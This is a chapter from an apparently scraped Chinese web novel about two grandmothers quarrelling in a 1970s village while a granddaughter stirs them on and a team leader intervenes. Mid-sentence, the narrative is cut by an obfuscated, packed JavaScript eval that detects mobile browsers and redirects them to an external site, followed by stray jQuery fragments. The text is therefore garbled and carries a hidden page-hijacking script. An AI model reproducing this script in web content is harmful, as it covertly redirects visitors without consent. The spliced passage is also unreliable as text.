40. 瓜瓜瓜瓜瓜瓜

    赵二花越想心里越爽,当即就梗着脖子,嚣张道:“就说你怎么了,说不得啊!我看你个晦气的老鬼婆,每天打打骂骂的抽风,以后准没有好日子过!”


    她炫耀着继续说道:“哎呀不像我家,我小桃以后可是要带我过好日子的,到时候她结婚,我们一家人都要去城里坐上席嘞!你就羡慕吧,哼!”


    张菊花脸色铁青,都要气死了,她冷笑一声:“呵呵,你以为你孙女结了婚就是城里人了?”


    “人家知青要房子没房子,要粮食没粮食,说什么城里人,现在不还是泥腿子,还是个这也不会那也不会的泥腿子!嫁了有什么用?活不得都是你家小桃干!”


    赵二花斜着眼睛翻白眼:“张菊花,你这就是嫉妒!嫉妒我家小桃能嫁知青,你们可没有这个机会,人家知青啊,看不上你家的闺女!”


    张菊花咬着牙关,直接上强度,进行人身攻击:“赵二花你个浑身霉气的玩意儿,你以为你孙女又是个什么好东西!我看你们一家都是老母猪跌进粪坑,一辈子都爬不上来,又臭又恶心!”


    赵二花气急败坏,指着张菊花:“你!你张菊花又是什么晦气玩意儿!就你那张臭嘴,洗八百遍都比猪粪还臭!怪不得你家向老头死的早,就是被你给臭死的!”


    向遥直呼好家伙,要说骂架,还是老一辈的有功底啊。


    这些话,搁她这儿,她都想不出来。


    这战斗力,怕是只有支书黄国富大爷堪能一战了。


    然而,两个老太太的争端还远不止如此,两人一边骂,一边往前凑,距离越来越近。


    眼看着赵二花已经走到篱笆墙这边来,要拿着扫把捅过来打人了,张菊花露出一个得逞的冷笑,抬高手里一直端着的盆,用力朝着那边一倒——


    “你个挨千刀的猪脑壳,来喝老娘的洗脚水吧!洗洗你的脏嘴子!”


    带着一点温热的水直直落在赵二花的脑袋上,给她浇了个透。


    赵二花听到这是洗脚水之后,连连吐痰,恶心得脸青一阵白一阵的,刚吃完的饭险些给吐出来。


    那洗脚水,进她嘴里了!!


    “张菊花你个老贱人!你个老妖婆!我跟你拼了!”她怒吼着,操起扫把棍子越过篱笆就往张菊花的头上敲,“你竟然敢倒洗脚水放我身上,我今天非得打死你个老货不可!”


    张菊花别看年纪大了,但身体可灵活着呢,一下就躲过了那棍子,嘴里还在不停地骂。


    “来啊,你来啊!有本事你就来打我啊!”


    “你嘚瑟什么啊,就你们一家子牛鬼蛇神,还想去城里哩,告诉你,一辈子都不可能!”


    “你就是去了,人家也得给你赶出去!”


    “呸!赵二花你可别叫什么花了,晦气!你要叫赵二猪!”


    赵二花只觉得整个人都要烧起来了,嘴巴都颤抖起来,攒起劲来呜哩哇啦地就要再打。


    边上那几个人一看,这还得了,骂架也就算了,真要打起来,就变成大事了!


    几人好说歹说地劝,赶紧冲上去拉住她的胳膊不松手。


    “算了算了,别打了别打了,闹大了不好!”


    “哎呀快消停一下,别闹了,等别人晓得了,支书怕是要开大会批评哩!”


    赵二花被这么一拉、一劝,也好歹冷静下来了一点,知道真要给人打坏了,那可就不得了了。


    谁知,她刚要撤回扫把棍子,就听见向家那个最近性情大变的向遥大声喊起话来——


    “奶,趁着她被人拉住了,你继续上啊!赵大娘这么欺负咱们家,咱们可不能怂!”


    赵二花目眦尽裂,哗啦一下挣脱扯着她的人:“啊啊啊啊啊!张菊花,我跟你拼了!”


    张菊花:……


    这臭丫头,这是在干什么呢!


    还有,她也没打算继续战斗啊,这赵二花,简直跟疯了一样!


    不过赵二花都要跟她拼了,那她也不能当缩头乌龟啊!她跟赵二花吵了一辈子,可就从来没有输过!


    张菊花顺手将附近的晾衣杆给取了下来:“拼命就拼命,看谁今天能好过!我今天就打烂你的臭嘴!看你还背后编排人不!打断你的腿,看你还到处串联说我的坏话不!”


    “你以为我不知道你见天儿在外头说我啊,我今天就好好给你清算一下,免得你出个门都不知道大门往哪边开!”


    向遥简直想要给两位勇士鼓掌,精彩!这可太精彩了!


    老一辈的人就是利索,说干就干,嘴里不闲着,行动也一点都不带打磕巴的。


    一番吵吵闹闹,赵二花和张菊花到底没能真的打起来,因为——


    有人听见动静,给告到了本队的队长袁大山那儿去了!


    袁大山一听,这还得了!两个岁数加起来一百多的老太太,竟然闲着没事干要打架!抽风了!


    当即就赶了过来。


    “吵什么吵!吵什么吵!一个个这是嫌刚吃了几天饱饭,就要开始闹妖是吧!”


    袁大山看这里两边气势汹汹的老太太,心里一点都不想干扯架的事。


    要论队上什么事情最难管,还就是这些上了年纪的老头老太太之间的纷争了。


    打又打不得,骂又骂不得,话一说重了点,人就直接躺在地上唉哟熏天。


    你能咋办?一点办法都没有!


    更何况袁大山还是个临时队长,在队里还没有建立起足够的威信来,这些天是吃了不少排头。


    果然,赵二花跟张菊花这两朵老花,也不是什么听劝的。


    赵二花当即就带着哭腔大声嚎:“大山啊,你可得给婶子做主啊!她张菊花,不仅骂我,还灌我喝洗脚水啊!”


    她拍着大腿:“你看看,你看看,我老婆子一身都是她的洗脚水,亮子媳妇几个人,都可以作证的!”


    亮子媳妇就是刚刚跟她一起说话,又拉着她劝和的妇女,一听这话,也不知道是该点头,还是不该点头。


    这赵二花,咋还要她作证哩。


    她还心虚着呢,这背后说人坏话,本来就是个不光明的事情……


    袁大山被她那尖锐的声音吵得脑仁儿都是疼的。


    只好快刀斩乱麻:“这点小事,至于打起来?不准吵了!再吵都给我去开荒!拔草!”


    赵二花可不想干活,她早就不参加集体劳动了,一听要去开荒,还真有点怵,停止了干嚎,不说话了。


    毕竟袁大山这人,性子挺梗的,他说点什么,还真就不是开玩笑。


    但赵二花消停了,张菊花可就不乐意了。


    “袁大山啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566618|152911||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    袁大山,你竟然要我这老婆婆去开荒?你怕是猪油蒙了眼睛,瞎搞吧!”


    “要不是我家粮生走了,轮得到你在这里吆三喝四的?竟然要我去拔草!癫了啊?”


    袁大山一脸无奈,他就宁肯没有人来告状,随便这两老太太闹去。


    这下好了,他听了一肚子废话,到头来还得挨骂。


    他只得忍了忍,语重心长地说道:“菊花婶子,咱就事论事。你们吵架打架,就是不对。”


    他指了指边上的向遥:“边上还有小辈看着呢,你们这是做了个坏榜样啊。”


    众人的目光都随着他的指点看向正在兴味的看热闹的向遥,心里有一百匹驴子晃晃悠悠地踏过。


    什么坏榜样,刚刚可是这丫头使劲拱火的!


    人不仅兴致勃勃地看热闹,好亲自上手添柴加火,恨不得两边的人马都给打起来!


    然而向遥眨眨眼睛,一脸的无辜,仿佛她真的是个忧心两位老人打伤了身体的后辈人。


    赵二花冷哼一声,小声嘀咕:“就这样的搅屎棍,活该一辈子都嫁不出去!”


    她这话声音虽然小,但是也传到了张菊花的耳朵里。


    大伙儿心里一紧,赶紧看向张菊花,唯恐她又听了这话又要闹起来。


    但出人意料的,张菊花竟然一点反应都没有,不仅如此,还主动想那晾衣服的杆子给重新架回去了。


    大家都不由得纳闷,怎么回事?张菊花这是耳背了没听见赵二花的话?还是真的闹累了?


    当然,这都只是大家在心里想想,他们可不敢再说话了,没得重新撩起火来,那可不得了。


    他们哪里知道,赵二花这话,都说进张菊花的心里去了。


    懒又懒得很,叫她做点事情也不做,说她两句就要气得人心口生疼,别人吵个架,她还要在一旁拱火!


    这臭丫头,可不就是一根看热闹不嫌事大的搅屎棍么!


    一场硝烟在众人的不理解但又欣慰的心态下,消失于无形。


    两个老太太各自板着脸回到屋里,谁也不搭理了。


    向遥见着袁大山那一副拧紧了眉头的愁闷模样,还去屋里给人倒了一茶缸子凉茶。


    “来,大山叔,喝点凉茶,消消火。”


    袁大山谢过之后接了茶缸子,果然咕嘟咕嘟地闷头喝了几大口。


    他压了压心里的火气,说道:“向遥啊,你好好劝劝你奶,别让她在跟人生气了,影响不好嘞。”


    向遥挑挑眉,干脆地应了:“行,大山叔,我肯定好好劝劝我奶,你放心。”


    袁大山很满意,直夸向遥是个好闺女,一点都没有学着张菊花的样子胡搅蛮缠。


    看着笑得灿烂的向遥,袁大山不由得在心里暗暗感叹,真是可惜了这么个好苗子。


    要不是粮生突然走了,她现在的日子可要好过很多。


    哎,可惜啊。


    袁大山摇着头走了,向遥目送人出了院子,施施然坐了回去。


    哎呀,她奶跟隔壁的骂战,真是令人回味啊。


    就这么一场热闹,硬是给她的瓜田增加了十分钟的准入时间,啧啧,多么美妙啊!


    她恨不得天天看一场如此精彩的吵架才好。


    不,两场,她精力十足,她可以!